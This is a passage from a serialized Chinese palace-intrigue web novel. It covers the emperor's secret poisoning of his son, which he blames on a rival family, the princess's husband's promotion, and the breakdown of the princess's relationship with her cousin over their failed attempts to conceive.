山照没有不自知到这个地步,他们根本没有这样的信任度,所以驸马说的越是信誓旦旦和毫不迟疑,她心里就觉得越是可笑了,她知道为何她会对驸马表现出的那种喜欢感到困惑和怀疑了。 驸马的表现就好像是蒙着一层极薄极细的纱,好似透明,但终究隔着一层。 山照一下丧失了跟他交谈的欲-望,跟个假人有什么好说的。 她想,有一天驸马露出马脚,叫她扯破了那层假面具那才爽快! ** 山照摸着枇杷糖的线索,又真听从驸马的意见动用了皇家暗卫和舅舅的人手,竟然挖出了一只大鱼。 “云随伯在十五日前送给五皇子一份枇杷糖?!” 山照大喜又大惊。喜的是,时隔五天,她终于抓到了一点可疑线索。惊的是,云随伯是淑妃的弟弟,是三皇子、五皇子的舅舅。 不管是云随伯起坏心,还是有心人利用了这件事,这都说明这件事情是后宫倾轧。 山照不敢再继续查下去,递了帖子再次觐见昭明帝。 听完山照的来意,昭明帝素来平静的表情也保持不住了。他难得的露出些伤感的神情:“曾经,我听人讲,若是平生杀孽过重、有伤天和,未来会子嗣凋零。” “我从没信过。” 他不继续说了。 但山照能猜出来他的后半句:他现在信了。 虽然山照眼中昭明帝是个冷酷又独-裁的父亲,但平心而论,他对自己还是挺好的,除了婚事。 可是婚事一事,她虽然还是嘴硬,但跟驸马学了许多之后,她渐渐的也明白了为何舅舅暗地里跟她说:就算嫁三次都不可能轮得到表哥。 即便父皇是皇帝,也是不可能对抗所有势力集团的。诸臣之女尚且没有嫁平民的先例,公主出嫁更是不能毫无顾忌。 皇帝要维护自己的统治,臣子们也要维持自己的阶级,虽无明文却已然有条无形的规则需要众人遵守。 “父皇……节哀。” 山照干巴巴的安慰。虽然她是有点同情父皇的,但感情这种事情,有就是有,没有就是没有。 不能指望一口干涸的泉眼受到感化而汩汩流出泉水。 也不能指望一个没有感受到父爱的女儿由衷的产生感伤。 “好了,你下去吧。”昭明帝扶额,仿佛是有些不适,这才挥退了山照。 山照离开后,一直在暗处的福清这才走了出来。 他比山照知道的更多,脸上满是担忧:“陛下,真要如此吗?” 昭明帝眼底的那丝伤感从山照出门后就彻底收了起来:“这是他们逼我的。” “我要告诉他们。我的东西,我不愿意的话谁都不能勉强我。” 昭明帝说话的神色平静,甚至语气也很平淡。 但福清知道他已经差不多快要疯魔了。不疯魔的话,怎么能做得出毒杀亲子的事情呢? 他想到此事,仍然止不住的心头发寒。虎毒尚且不食子,陛下……已经无可救药了。 ** 一日后,大皇子被杀害的事情传出来,震惊朝野。 在大皇子的葬礼上,迎着贵妃哀恸的哭声,昭明帝在前来吊唁的亲眷臣众面前宣布了:大皇子乃是被毒杀。凶手就是云随伯。 云随伯给五皇子送了含有一颗毒药的枇杷糖,并暗示五皇子此物有止咳之效。五皇子本着友爱之心送给大皇子,却造成了大皇子死亡。 淑妃、云随伯当即喊冤。 诸臣无人参与此事,心中多有疑虑,但事关三位皇子,他们认为陛下无确凿的证据不会轻易定罪,于是保持了一致的缄默。 随即,云随伯阖族被杀,淑妃被废幽禁,三、五皇子被夺姓,贬为平民。 ** 迎着朝晖,孟浴恩踏入了国子监的大门,走马上任。 结婚之前,他是少府监的少监,从四品。官位在同龄人中已经是个中翘楚。 但昭明帝将孟浴恩连跃两级,硬生生叫他做了从三品的国子监祭酒,掌全国教学考试。论起官职实权,不沾名利却有桃李满天下,实在是清贵中的清贵。 三品已登高官之列,御史台首先坐不住。直言驸马不该掌实职,更不该在及冠之年纪,任国子监祭酒这样重要的职位。 弹劾似雪花一般飞来,差点没压垮昭明帝的案牍。 中书侍郎更是上了封异常强硬的折子,言明:若以裙带之系来论官职大小,臣与陛下非亲非故,当黜。 这事闹得比大皇子薨逝还大,闹到连不问朝政的山照都听闻了这事,进宫劝阻。 山照也疑惑呢,其实她不过希望驸马有点事情做罢了,没有考虑过职位高低。 父皇起初说了升两品,她还以为是说笑,没有放在心上。 如今知道群情激愤,父皇是来真的,她自然要劝父皇扭转心意。 但她不知道的是,昭明帝早已有决断。 第45章 第 45 章 走马上任 群臣的否定都不能让昭明帝让步, 山照的劝说理所当然的也失败了。 但或许是事情都如同昭明帝所计划的那样正常运转,他竟然有了些心情了解一下自己这个女儿。 “群臣不悦,朕还能理解。为何你不愿意呢?” “因为明明儿臣跟驸马都做了事情, 甚至儿臣做的多一点,为什么只奖励驸马不奖励儿臣?而且……” 山照最不能理解的是:“为什么父皇提拔驸马, 群臣都来攻击我, 说我用了裙带关系?” 这不是没吃到肉还白挨打吗?山照进宫, 一方面的确是考虑到这事闹的沸沸扬扬的、影响不好, 另一方面也是有些替自己委屈的,明明她什么实质的好处都没得到。 “哈哈哈哈哈……” 高台上的昭明帝大笑出声, 伤痛和晦暗的情绪裹挟了他太久太久, 他已经很久没有这样爽朗的笑过了。 昭明帝的这番表现甚至惊住了随侍的大太监福清。他想:上一次听见这样的笑是多久以前了呢?三个月还是五个月前?陛下脾气真是越来越古怪了…… 昭明帝看着下方的年轻女孩,眼神比方才柔和了许多。 他知道,这个女儿没有太多的野心和欲-望,反而有种小富即安的从容。所以才会问出这么天真的问题。 “你还是不喜欢驸马吗?” 山照愣住, 没有想过父皇会问这个问题也不知道怎么回答。 但昭明帝并不需要她的回答。 “这么久了,你还是没有把驸马当作自己人啊。” “你是嫡长,位超一品,封邑三千户。除了皇后,不会再有女人比你更尊贵了,朕已经没有可以封赏给你的东西。” 昭明帝前所未有的耐心,他不知道自己下次这么耐心是什么时候,但此刻, 他确实很像一个负责的父亲为天真的女儿解释自己的用心良苦。 “所以, 朕只能赏驸马。山照,无论你喜不喜欢驸马。在别人的眼中,你们都是夫妻一体, 你越尊贵,驸马也就越尊贵。驸马越尊贵,你也就越尊贵。” 山照点头,她有点明白了。 但还是不算十分明白。 “可是,跟驸马得到的相比,儿臣得到的太少了。他能掌管全国士子的教育,儿臣却只能决定公主府的事情。可明明,儿臣的权力应该比驸马更大不是吗?儿臣是驸马的妻主啊!” 普通人家嫁娶是夫贵妻卑,因而对妻子而言,丈夫即为夫主。但公主下降,是妻尊夫卑,对丈夫而言,妻子才是主人。 山照知道,她能叫三省六部所有的官员给她端茶倒水、磕头作揖,但不能直接决定任何一个人的升迁黜落。 她愈发觉得,公主的尊位,是高高在上的,却也不过是美丽的空中楼阁。 “泰和,是你狭隘了。” 我……狭隘?山照抬头望向昭明帝。 “丞相同我夸奖过你,很欣赏你资助贫寒学子的事情。朕也觉得想法是很好的。” 昭明帝欲扬先抑,话锋一转又是批评:“但你的做法,太狭隘了。你若是认为自己跟一般妇人不一样,就得展现出来这种不一样才行。” “朕只看到你的优柔寡断、目光狭隘。” “你既然知道国子监祭酒主管全国教育,你知道他具体能管什么吗?你了解过,县学、府学里是有廪生的吗?国子监里的学生也是有贡监的。这都是朝廷为了不使明珠因贫穷蒙尘,而给优秀学子设立的帮扶制度。” “你所做的一切,能惠及十人、百人便已勉强,驸马能做的可不止这些。你只看到了我给他高官厚禄,你有看到你能通过他,影响多少人吗?” 山照被昭明帝一连串的反问激起了情绪,她尴尬又羞恼:“儿臣知道。儿臣能通过影响别人,来影响结果。儿臣只是无奈,为什么这种权力只能是借用呢?” 昭明帝说她封无可封也是这个道理,从来没有哪个皇子在没有确定为继承人之前拥有这种待遇,但似乎公主就无所谓了。 昭明帝看向山照的眼神,有点恨铁不成钢了:“不要认为全天下女人都做不到的事情,你都应该轻松做到,这才算是有权。” “驸马从来不会纠结,他年少时的权力来自父亲,现在的权力,来自于驸马的身份。能够达到自己想达到的目的,怎么不算是一种权力呢?” 昭明帝其实能理解山照的这种想法,因为他出生平凡,从不天然拥有任何权力。他的早期权力也是通过让渡得到的,若不然,他有什么资格号令军士呢? “你认为,我的权力来自哪里?” 昭明帝甚至没有自称为朕了。 “父皇是皇帝啊……”山照不明白这个问题的意义,皇帝不就应该是全天下权力最大的人吗,他是规则的制定者,是权力的具象化。 昭明帝嗤笑:“我又不是生下来就是皇帝?” “因为……父皇有军功又很受爱戴?” “不跟江氏成婚,我连打第一场仗的资格都没有,何谈未来的军功?如果我像你这么想,是不是要因为利用妻子的裙带而获得指挥权感到自愧呢?” 山照:…… 昭明帝说到此处,忽然顿住了,他回想起了一些往事。 但很多事情,他自然是不会开口对女儿说的。 只是叹息:“就连这个指挥权,早期也只是江家不要的。他们以为朕冲锋在前,冲着冲着早晚会死的,到时候朕的军功、人马、势力,就归江家了。” 山照愣住了。她从这短短两句话中间,品出了无比复杂的情感,好似看到了昭明帝波澜壮阔一生的一个微小缩影。 是啊,一个平民,怎么会简简单单的就做了皇帝呢? 就算是娶了皇后,但江家难道会跨过儿子而更重用女婿吗? 而山照的起点,已经比昭明帝高很多很多了。可她却一直像无头苍蝇一样,找不到合适的途径去使用自己的力量。 从这点讲,山照知道自己远远不如父皇。 “是,父皇,我狭隘了。” 山照意识到:她挣扎着想了很多似是而非的东西,实际上却没有做出什么事情来。 就连资助学子的事情,她也只是表面关心,不然不可能过了几个月才知道资助学子的银钱,并没有从府中的公账里面支出。 明明是来劝诫昭明帝的,但反而被父皇教导了一课。 山照没有气馁,她并不害怕发现错误,知道错误不就能够进步了吗? 她认真的说:“我会回去好好思考的。父皇,你等我给你新的答案。” 离开的背影都似乎坚定了许多。 公主走后,福清才敢说话:“殿下未必不能成器。” 昭明帝却从来没有把希望放在山照身上:“她不行的。这样优柔寡断的性子,只适合做个富贵闲人。” ** 山照直接回府,却发现府内静悄悄的,这种安静让她有些不习惯。 才刚想问问婢女们,又自己想起来了:驸马昨日是说了,今日开始要去国子监办公了,到申时才下班。 若驸马还在的话,下人们似乎就看起来要忙碌很多,一直进进出出走来走去的。 “表哥今日还好吗?” 宜秋服侍山照换下进宫的衣饰,山照感觉整个人都轻了几两。 因为山照没有用太监的习惯,府里便只有孟浴恩用男仆,所有日常服侍杨力行的是宜书、宜画。 两人是轮流守在杨力行屋内的,这会在山照跟前的是宜画。 宜画年纪要比其余几人更小一些,还没到及笄的年岁,额前有参差不齐的绒发。 “杨公子晨时换了药,伤口恢复的很好。只是喝了汤药便有些嗜睡,巳时又睡了。” 杨力行现在的情况已经不危险了,只是要等伤口慢慢愈合,所以山照也并没有留着赵仪给的医师,前几日便让人回去了,只是每隔几日让人去承恩公府买药。 山照自查了大皇子案,对药物也很是敏感。虽然此刻孟家并不知道表哥的事情,但她提防着孟家知道了之后下黑手。 反正也是以防万一,药都是走舅舅那拿,煎药的人都是自己这几个贴身的。 山照甚至让她们学了些药理,至少表哥每日要吃的这几味药,婢女们已经都能清楚分辨出了。 “下次,学子们来府上拿银钱是什么时候?” 宜春立刻回答:“应该是两日后。” “好,到时候提醒我一下,我要见他们。” 宜春应是,只是提醒:“毕竟是外男,殿下可隔着屏风与之对谈。” 山照也没什么意见,她对这些人的相貌并不是很在意。她只是想问问这些人。 ** 按理说,孟浴恩这个国子监祭酒的日常工作应当是比较轻松的。但,那是前朝的祭酒,一切的规章都有例可循,上位自然只需要按例行事。 “殿下,陛下命我国子监在十一月前呈一封永盛三年科考事宜的折子,以供施行。” 新朝的年号是年初定下的,如今正是永盛二年。昭明帝这样子是打算在明年的时候重启科考,虽说前朝已有旧制,但孟浴恩自然不可能一应事项全部按照旧有的来。 具体是哪些东西要变,哪些东西保留,他得揣摩上意。 “陈司业、李司业,这事还得多多请教你们。” 跟孟浴恩此刻议事的正是国子监的两位司业,这两位都年过五旬,原本祭酒的位置若无其余高官任职,合该提拔这两位老人的。 陈司业居左、李司业居右,闻言二人只是坐着朝孟浴恩一抱拳:“全凭大人定夺。” 孟浴恩自然看出这两人神色间虽然没有抵触,却也不热忱,想必也是不支持自己做这个祭酒的。只是碍于自己驸马的身份,不敢给自己下马威罢了。 孟浴恩也很是无奈,他的确是想要官职,想要实权。但凡事过犹不及,陛下真是把他抬举的过了头,等于是直接把他架在火上烤。 他并未想过要做这个祭酒。 可是陛下圣旨已下,他不愿意也不能表现出来,甚至得要喜出望外的接下来,叫群臣都知道,作为当事人,他是欢喜的。 不然昭明帝花这么大心力,结果得到一个两面不讨好的结果,未来对他什么印象也就难说了。 因此他不仅要做,还得做得漂漂亮亮的,叫众臣知道陛下选他没有错。 这不,走马上任第一天,就要解决这么重要的事情。 “两位司业都是德高望重之人,本宫也曾在国子监读书,自然知道这是何等庄严神圣的地方。天下泱泱学子,如何从泥沙里淘出真金,让我朝如虎添翼,全看这科考一事。” “这样罢,便请两位司业每日与我一同研究历朝科举仪制,取长补短,这才能让我国子监上一封言之有物的奏折。” 陈司业、李司业只能拱手。 这事摆明了是陛下要给驸马贴金,事情做的不好,驸马也许是要丢官降职,但他们可能就要丢命。 罢了罢了。 ** “不好了,宜春姐姐。” 宜书匆匆跑到山照寝宫,宜春立刻拉着她往外走了几步,这才小声道:“殿下刚睡下了,要小憩一会。” “可是……杨公子似乎是做了噩梦,身体也有些发热。这会虽是睡着,但说着听不清的呓语。” 宜书摇了几下,并没有把杨公子摇醒。她听娘说过这样陷入梦魇的人,不好强行弄醒的,所以宜书一下子乱了方寸,只能来问殿下。 宜春向来稳重心里却也不免有点焦急,她知道杨公子对殿下来说有多重要,一旦出了事情,她可担不起责任。 于是狠了狠心,掀开山照的床帘,轻声唤醒了公主—— 作者有话说:不想大家等太晚,明天早上还有一章。 第46章 第 46 章 暗生嫌隙 山照感觉自己好像刚闭上眼睛没多久, 就被叫醒了。她还以为是自己睡的太香,一时间没有感觉到时间流逝。 直到宜春表情凝重的告诉她:“杨公子似乎有些不好,还请殿下决断, 是请医师进来还是?” 山照本还睡眼朦胧,这下一个激灵就醒了:“什么时候的事情?” 她连忙套上外衣, 就往杨力行的房间去。 久病卧床之人的屋里总是有股药味, 宜书宜画已经闻惯了倒是没觉得, 山照进屋不知怎么打了个喷嚏。 “以后若是太阳好, 便开窗通通风吧,我闻着心里都发闷。” 婢女们对视一眼:之前殿下还说不要随便开窗, 怕杨公子吹了风呢。 但婢子就是婢子, 自然没有跟主子顶嘴的道理,连忙应了。 山照看杨力行额上有汗,连忙抽出帕子给他擦了擦,顺便感受了一下他额头的温度。 “是有些发热……” 山照有点纠结, 这会叫人进来有些太显眼了。 “去承恩公府请医师吧,若是驸马问起,便说是我身体不适。” 这借口自然也是不够巧妙的,她生病也有府医看,便是再不好点,也可以进宫请御医。山照不过是赌一个驸马不会注意到的概率。 宜秋刚拿了公主的令牌出去,杨力行却悄然醒来。 山照大喜。不管怎么样,人只要能醒, 问题就不大。 “表哥, 表哥。你哪里不舒服?” 杨力行初初睁眼的时候眼神很空,显然是还没回过神来。直到听到山照的声音,视线立刻凝在山照身上。 而后他竟不知哪里来的力气, 直接坐了起来,保住了山照。 手臂像铁一般牢牢锢住山照的身子,勒得她双臂生疼,还有点喘不过来气。 “松……松一点……” 宜春听见山照说话的声音不太对,立刻想要拉开二人。 “杨公子?杨公子?快松手,公主被你弄疼了!” 杨力行置若罔闻,只一味抱着山照,像是受了什么刺激。 “殿下,恐怕杨公子这是被魇住了……”宜春见过从前有宫妃如此。 “似乎这会确实不宜强行分开,待杨公子醒来自行分开会更好。不过,殿下还好吗?” 山照感受了一下,可能是刚才一下子勒紧了有点不习惯,这会倒是不觉得很痛了。虽然抱的依旧很紧,但是她还可以忍受一会。 “表哥表哥,你怎么了?” 山照一直很温柔的试图跟他说话,好在杨力行这个状态没有持续多久,便忽然的呼吸开始急促起来,双臂自然的放开了山照。 “对不起表妹,弄疼你了。” 杨力行垂着头,发丝沾在他的脸上,掩盖住了他的表情。 虽然宜书宜画每日都会盘好他的头发,但他睡觉是取了发冠的,这会头发早已乱成一团,这种萎靡的状态让山照都有点心疼了。 “表哥没事就好。” 山照轻轻抱着他,将头放在他的肩膀处,慢慢的陪他恢复心情。 山照并没有问他为什么会这样,她跟杨力行之间是有默契的,她知道他自己冷静了之后会说的。 杨力行心跳慢慢恢复正常,头脑中纠缠的幻想也像是被洗涤了一番恢复平静。 “我做了一个很坏很坏的梦。” 杨力行忽略掉自己身体的不适,开始陈述自己的这个梦。 “我梦到了你跟他的洞房花烛夜……” 杨力行的表情有些痛苦,他很难说出来,自己梦里看到的那些肢体交缠。 但山照已经懂了。 “这些都是假的。那晚,我根本没有见驸马。” 杨力行知道。但因为知道,他更痛苦了。 “表妹……有一天,你会不会喜欢上驸马呢?” 他默默抱紧了山照。 他很愧疚于自己竟然还是会对表妹的态度产生动摇。但是……让他怎么能不在意驸马呢?他无处不在,无孔不入。 杨力行甚至觉得,他是不是已经知道了这些事情,所以故意的在他面前炫耀。 山照满脸心疼:“对不起,表哥。是我没有办法给你一个婚礼。” 她不敢跟表哥谈论驸马,正是因为知道这件事情没有办法这么轻易过去。 而且……表哥听到驸马弹琴,知道驸马深夜拜访就已经十分心绪不宁了,如果叫表哥知道,其实她也曾有一夜让驸马安抚了自己呢? 山照不敢想这个可能。 就像不敢拨弄一根已经绷紧到极致的弓弦一样,小心翼翼。 “表妹,我们生一个孩子吧。” 宜春几人退了下去。 山照羞红了脸,虽然婢女们已经什么都知道了,但大剌剌的说什么生孩子的事情,还是有点太过分了。 “说什么呢!” 杨力行用手梳弄了一下自己的头发,露出脸来,这才看着山照分外认真的说:“没有孩子,我总是不安宁。表妹,我总是做梦,梦到你跟驸马成了一家人。” “什么时候开始的?你为什么不跟我说呢?” 山照早就做好决定要一个孩子了,她轻轻点头。 “但是,也要你伤好才行吧。” 杨力行摇头,凑近山照耳语。 山照脸更红了,她倒是从压箱底里面见过这样的姿势,但还是觉得好难为情。 “这种事情……这种事情,怎么能我来呢?” 杨力行叹了口气,把山照往床榻旁边送了一送,山照就顺着他的力道往旁边坐了。 杨力行解开腰间的系带,露出了被绷带裹缠了几圈的腰部。 “哎呀,伤口崩了!”山照一眼便看到了绷带上有嫣红的血液。 “一定是方才起身的缘故。医师说了,表哥你伤口看起来不大,却很深,务必要多躺些时候呢。” 山照有些埋怨杨力行。 “算了,还是等你伤好了再说吧。表哥,你不相信我吗?” 若是能选,杨力行自然是全心全意的相信表妹。可是头脑中的想法,总是不受控制的浮现出很多不好的可能,或许是昭明帝和承恩公的态度,让他知道,其实除了表妹,没有人支持他们。 在公主府的这些日子,他深刻感受到了,山照跟他,真的不再是一个世界的人。 不管他们在之前有多深厚的情谊,杨力行知道这些什么皇子公主、王公贵族的事情他一点也不了解,遇到事情根本也插不上嘴。 表妹她,还是更依赖驸马了。 爱一个人就是能把鲁笨之人都变得敏感,杨力行这段日子不是吃就是睡,空闲的时间都用来琢磨这些事情了,怎么会感觉不出来。 “不,表妹。哪怕是求你,给我一个孩子吧。我保证,有孩子之后我就专心养育我们的孩子,再也不跟驸马……” 山照心里不是不心疼表哥的,但她真觉得有点累了。 总是需要哄着表哥,总是需要顾及他的状态,总是需要反反复复的给他保证。 明明很多事情,她也是无能无力的啊。她除了说,我不会喜欢驸马还能干什么呢? “好,我给你。我给你。” 如果一个孩子真的能让表哥从此安心,真的能让父皇彻底认可。 山照愿意的。 ** 月事。 月事。 月事。 一连三个月都没有怀孕,山照的心情也受到极大的影响。她很烦躁,也很痛苦,她不知道明明她跟表哥都身体康健,怎么会一直要不上孩子。 甚至……她都开始排斥欢好了。 表哥总是不顾及身体,一味缠着她。头一两个月,也许是表哥身体还没恢复好,山照还没有觉得频率过分。 但最近这一个月,简直是除了月事每日都希望山照去他房间里。 山照开始觉得情人间的耳鬓厮磨变得好像繁衍所做的任务,虽然表哥依旧对她很温柔体贴,但她还是觉得有什么地方不一样了。 她开始抵触这件事情。 山照一连拒绝了五天的求欢,也减少了见表哥的时间。 ** 月华如水,像一层发光的雾气,飘渺的笼住了大地。 杨力行看着熟睡的婢女,心里低声对她说了声抱歉,悄然出了门。 再不见到表妹,他感觉自己快要疯了! 他知道,他给表妹太多压力了。可是……可是一直怀不上,他不知道为什么?为什么这么需要孩子的时候,偏偏怀不上呢? 是他有问题还是表妹有问题?杨力行不敢相信任何一种可能,他只能像抱着一根救命稻草一般,再多尝试一些。 没准,只是还不够努力呢?也有不少人新婚一两年才有的,他多努力一点,是不是孩子就会早点来? 但是,表妹不想见他了。 若不是婢女还是会每日将他的情况告诉表妹,杨力行几乎要以为表妹不想管自己了。 他必须见一次表妹。 所以,杨力行趁着夜深了婢女们都在犯困,潜入了山照的闺房。 杨力行知道表妹不喜欢脚踏上有人陪睡,他只要把守门的人骗过就行了。 但还好,守门的宜冬,已经自己靠在门边睡过去了。 杨力行屏住呼吸,推开了门,靠着对山照寝房的熟悉,楞是没有惊动其他人。 但走到山照床前,他反而不知道要干什么了,颇有一种近乡情怯的感觉。 这会干坏事的惊慌才一点一点爬上杨力行的心头,他本来是一门心思只想见到表妹,可是这会到了,却开始想:要是表妹不希望看到自己怎么办?要是表妹生气怎么办? 他知道自己这些日子是把表妹磨缠的过分了,如果他跟表妹保证自己再也不这样了,表妹会重新相信自己吗? 他掀开帘子,小心翼翼的握住了山照放在衾被里的一只手,就这样侧身靠着床边,保持了这个姿势一整夜。 直到早晨婢女的惊呼响起。 第47章 第 47 章 渐行渐远 早晨宜秋来叫起的时候, 忽然看见公主的床帷旁有团人样的黑影,立刻就惊叫出声,连声唤人。 山照自然被惊醒了, 只是她一眼就认出是杨力行。 “表妹,我只是昨夜有些想你了。”杨力行眼睛干涩、形容憔悴, 他田田嘴唇, 尴尬解释。 山照没有想到自己只是想冷静思考几天就让表哥这么恐慌, 恐慌到做出这种夜间探访的蠢事。 山照不得不承认, 她跟表哥确实想的东西不一样了。 表哥应该只是单纯的想见见自己,可在父皇、舅舅乃至婢女们看来, 她的寝房竟然如此没有防备, 而表哥的做法也不会被简单归纳为情不自禁。 他,犯忌讳了! 山照第一反应还是保护表哥,她好声好气的跟婢女们商量:“今天的事情不要对父皇说好吗?” 众人迟疑。 若是平常的事情,自然是殿下说什么是什么。但涉及到公主安全, 她们不敢不做提醒。 宜春不欲让山照为难,主动退了一步,不谈上报的事情。 但依旧强调:“殿下,杨公子虽无恶意,可这事不是小事。殿下,您身边该有贴身伺-候的武婢才是。” 山照本来不想再添人,她觉得公主府有侍卫就足够了,却没有想过防备身边的人。 “好, 我会跟舅舅要两个武婢。”她承诺, 也是为了安婢女们的心。 “你们先下去吧。我跟表哥单独谈谈。” 山照看着表哥,本来想说什么,可看见表哥一脸茫然的样子, 又不忍心了,只是眼底满是疲惫。 她以为他们永远会那么好,可终究是生了嫌隙。 正因为曾经靠得太近、太过亲密,如今只不过有了一丝丝裂缝,两人就都清晰的感知到了。裂隙不大,却格外刺眼。 “对不起,表妹。” 纵然杨力行不懂为何婢女们这么严肃,但听了她们交谈,也知道自己是做错事情了。 “哎……” 山照半坐在床上,有气无力的一声叹气,叹得杨力行手足无措。 “我真的不知道你做这些事情干什么?” 山照语气甚至算的上平静。 “明明你什么旁的事情也不用做,安安静静的等我回来就行了……” “表哥,从前你来见我的时候我心里都是开心的。看到你,我就觉得心里很熨帖,很安心。一想到你什么时候都是相信我、支持我的,我就觉得特别有安全感。” 山照说着开心,嘴角却一点笑意没有,这让一直关注着山照的杨力行更加心慌。 “可是,什么时候,见你反而成了一种负担呢?” 杨力行自然知道自己最近表现不好,他连忙解释:“不是这样的,表妹,我没有想逼你。我只是……有点害怕失去你。” “对不起对不起,我这就回去,我再也不这样了。” 杨力行慌张得想站起身,但双腿因为趴了太久而无力,但还是靠着臂力硬生生撑了起来,跌跌撞撞走了几步。 “去把我的绣凳搬过来坐着吧。”山照指指她梳妆台那边。 “我们好好聊聊。” 杨力行犹豫了,他不想谈,他觉得一谈就会有什么不好的事情,他本能想逃避。 “表妹……改天吧。我想回去收拾一下。” 杨力行顶着一头乱发,高大的身子窘迫的弯着,看起来分外可怜。 山照没有给他拒绝的余地:“过来,坐着。” “表哥,我忽然觉得把你留在府里好像做错了。”山照想了几天都没想明白,为什么朝夕相处之后,她跟表哥之间反而不如从前在李家村聚少离多的时候亲密。 难道说他们原来真是不相配的吗?父皇说的是对的?是她非要一意孤行。 杨力行睁大眼睛,肩头一震,他从来没想过表妹会对他说,留下他是件错误。在皇宫中受水刑的时候,他万分痛楚中,就是因为相信表妹跟他的感情才支撑下去的,如今,表妹都说这是一个错误了,他到底算什么呢? “不管我做什么,在别人眼里我都配不上你。我就是,永远都不够好。”杨力行的声音哽咽,大而略圆的眼睛含-着泪。 山照没有跟杨力行说过,她一直觉得表哥那双黑亮眼睛在有眼泪的时候总是有种无辜感,她向来一见就心软的。 可这次,她只剩无奈捂额:“你为什么就是这么在乎别人的眼光呢?我从来没有把你跟别人比过。” “表哥,就是因为这样,我才觉得很累啊。”山照也有些控制不住自己的情绪,她觉得自己现在几乎什么都有了,表哥是放弃了所有一切的一方,所以她已经、已经很包容他了。 可是一想到她要这么哄他几十年,山照心里就觉得一阵绝望,这不是她想要的! “你变了,表妹。”察觉到表妹没有像以前一样安慰自己,杨力行咬紧牙关说出这句话。 “是,我变了。我承认,我没有从前那么天真了!可是!”山照看着他的眼泪心里不是不动容,和他好已经成为一种深-入骨髓的习惯,但她这次克制了哄他的念头,而是带着愤怒说出了自己的心声:“我没有任何地方对不起你!” “我到现在为止,都没有喜欢过别人!你不要总是驸马驸马的,我跟你的问题,跟他一点关系也没有!” 杨力行不是这样觉得的,他觉得是驸马分走了表妹的注意力,所以表妹才从态度坚定变成这样的。 因为表妹有其他的选择了。 所以她一点也不着急孩子的事情。 “你就是喜欢驸马了我也不能怎么样,所有人都觉得你们更相配。他家世好、又通曲艺,甚至相貌也比我更好。你们的孩子一定比我跟你的孩子长的好看,就是这样表妹你才不着急孩子的事情是吗?” “你在胡言乱语什么?”山照气到嘴唇颤-抖:“我都说了,跟别人没有关系。” “那你为什么总是私下见他?你对他笑,你听他弹琴,你还跟他出门游玩……” 杨力行说这些的时候感觉自己心都要碎了,表妹以为他不知道,亦或是跟他解释就好了。可没有想过,他能说不好吗?便是多闹了下脾气,婢女们都会用指责的眼神看着他。 “我那是有公事跟驸马说。我想帮助贫寒学子,但我个人的努力是有限的,所以一直在跟驸马商讨合适的办法。” 山照从未觉得表哥这么陌生过,原来他从来不相信她跟驸马是清白的吗? “还有孩子……” 山照越说越生气:“你难道就是想要跟我生一个孩子,好保障你的荣华富贵吗?” 她不想这么猜测表哥,可是这些日子杨力行的表现实在是让山照失望极了,在她都觉得厌倦的时候,杨力行都没有想着让她歇一歇。 她其实一点也不重欲,她喜欢床笫之欢,但更享受和表哥静静呆在一起的感觉。 可是自从说要孩子之后,表哥就仿佛把这件事情当成了最重要的事情,他们再也不能安安静静的抱着睡一觉。 她不理解。她只能逃开。 一个人睡总行了吧。 其实她没有想晾着表哥五天,最开始只是想要一两天的时间静一静。但想到又要回去哄他,又要跟他开始那种没有感情的敦伦,她就觉得害怕。 “荣华富贵?我像个废人一样躺了两个月,你就是这样想我?”杨力行觉得自己可笑极了:“承恩公看不起我,想用两千两让我放弃。陛下看不起我,说给我一个小官当,让我自觉点。现在,连你也看不起我。” “是,我出身卑贱,也没什么大才能。”杨力行颇有一种心灰意冷的感觉,他没有那股辩驳的气劲了:“反正,你们都觉得我不配……哈哈哈哈……” 杨力行站了起来,没有去管山照的呼喊挽留,跌跌撞撞一路出了大门。 宜春担忧看着山照。 山照冷冰冰回她一句:“让他走,有本事就别回来了!” 话说得硬,心里也没好受到哪里去。她知道自己话说的过分了,却拉不下脸劝他回来。 而且就算哄他回来又怎么呢?下一次继续这样吵架吗? 她捂着脸,哭了起来。 ** 杨力行浑浑噩噩走出了公主府。 走来走去,也不知道该往哪里去。他没有工作,没有朋友,没有亲戚,上京没有他的立足之地。 他觉得自己这样活着很可悲,好好一个大男子活成了怨妇。他本来以为他不会怨、不会恨,可他高估了自己,也高估了他们的感情。 他没有注意到自己这幅衣衫不整、双眼通红的模样有多吓人,来往的行人纷纷避开他。 杨力行仿佛不知疲倦、饥饿,一直走到了下午,这时,一个年轻的,手挎着花篮的小姑娘拉住他。 他刚开始只是一味的往前挣,仿佛是以为树枝挂住了他的衣角。 “喂,公子!公子!” 双喜大声喊着这个怪人,却发现他一直呆呆的,好似听不见、看不见。 她心想:莫非这是个傻子? 她本看着这人一路径直往天喜湖去,以为是有什么想不开的事情,想劝一劝。结果看这人怎么喊也不应,更觉得他往湖边去危险了。 双喜喊也喊不应,抓也抓不住,不由得心里发急,往他膝盖后弯处踢了一脚,她曾经跟玩伴这么打闹过,知道会让人摔倒。 若是正常时候,杨力行绝对不会被这么一脚踹个正着,但他却是心神恍惚,真中了招,一个趔趄就摔了下去。 然后死死的躺在了地上。 双喜见他不动,还以为踢出问题了,连忙上前去看,摇晃他的身子。 “醒醒,你还好吗?” 杨力行这下听见声音了。但他不想回答。 他陷入一种奇怪的状态,不想回应任何事情,他就想在这躺着,躺烂掉也行。 双喜见状不太好,连忙跑回家去找爹娘。 她家本就住在天喜湖边,她的名字就是跟着天喜湖取的。 双喜的父母也是老实人,做不出见死不救的事情,便你抬一边我抬一边将人救了回家。 ** 杨力行是被一股熟悉的味道唤醒的。 是糙米粥,没什么配料,但有一股米香。 他在家时常吃的,只是好久没有吃过了。 杨力行抬头一看,自己旁边就放着一碗朴实无华的糙米粥,里面还放了些干萝卜丝。 一个憨厚老实的中年男子正守在床边,看着他。 看到杨力行醒来,中年男子惊喜喊道:“哎呀,小哥你醒了?” “谢谢。”杨力行喉咙干涩,他能感觉到自己嘴唇已经干裂起皮,但还是用尽力气跟男人道谢。 虽然他意识朦朦胧胧的,但隐约知道有人把他从外面带回家了。 “不用谢,醒来就好。诺,年轻人饭量大,快把粥喝了吧。” 杨力行摇头,他现在没有吃饭的心情。 看着这碗糙米粥,他只是想家了,想爹娘,想李家村。 他心里暗暗产生了一个想法:不如就这样回家吧。 与其跟表妹走到两看相厌的地步,不如他主动退出好了。 但他又知道,自己还是舍不得,不可能说出口。 “小哥,你这么年轻,有什么是过不去的呢?那天喜湖可不是好去处……” “天喜湖?”杨力行没印象。 